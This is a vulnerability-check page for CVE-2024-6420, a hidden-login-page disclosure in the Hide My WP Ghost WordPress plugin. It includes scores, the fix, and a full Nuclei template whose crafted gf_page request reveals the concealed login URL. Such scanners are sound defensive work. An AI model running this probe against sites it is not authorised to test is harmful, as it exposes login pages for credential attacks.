Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure

highseverity

8.6CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.

Impact

Unauthenticated attackers can discover and access the hidden WordPress login page through auth_redirect exploitation, bypassing the plugin's security obfuscation.

Fix

Update Hide My WP Ghost plugin to version 5.2.02 or later to address the login page disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(body, "/wp-content/plugins/hide-my-wp") and status_code == 200
Send: GET {{BaseURL}}/?gf_page=randomstring
Positive when: !contains(tolower(location), 'wp-login.php') AND contains in header "%2F%3Fgf_page%3Drandomstring&reauth=1"

Run it with nuclei: nuclei -id CVE-2024-6420 -u <target>

The full check

id: CVE-2024-6420

info:
  name: Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure
  author: jpg0mez
  severity: high
  description: |
    The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.
  impact: |
    Unauthenticated attackers can discover and access the hidden WordPress login page through auth_redirect exploitation, bypassing the plugin's security obfuscation.
  remediation: |
    Update Hide My WP Ghost plugin to version 5.2.02 or later to address the login page disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/dfda6577-81aa-4397-a2d6-1d736f9ebd44/
    - https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6420
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-6420
    epss-score: 0.018
    epss-percentile: 0.78674
  metadata:
    verified: true
    max-request: 2
    framework: wordpress
    fofa-query: body="/wp-content/plugins/hide-my-wp"
    publicwww-query: "/wp-content/plugins/hide-my-wp/"
  tags: cve,cve2024,bypass,wp,wp-plugin,wpscan,wordpress,hide-my-wp,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/hide-my-wp")'
          - 'status_code == 200'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?gf_page=randomstring"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"

      - type: word
        part: header
        words:
          - '%2F%3Fgf_page%3Drandomstring&reauth=1'

    extractors:
      - type: kval
        kval:
          - location

References

Use this check only on systems you are authorised to test. Where the data comes from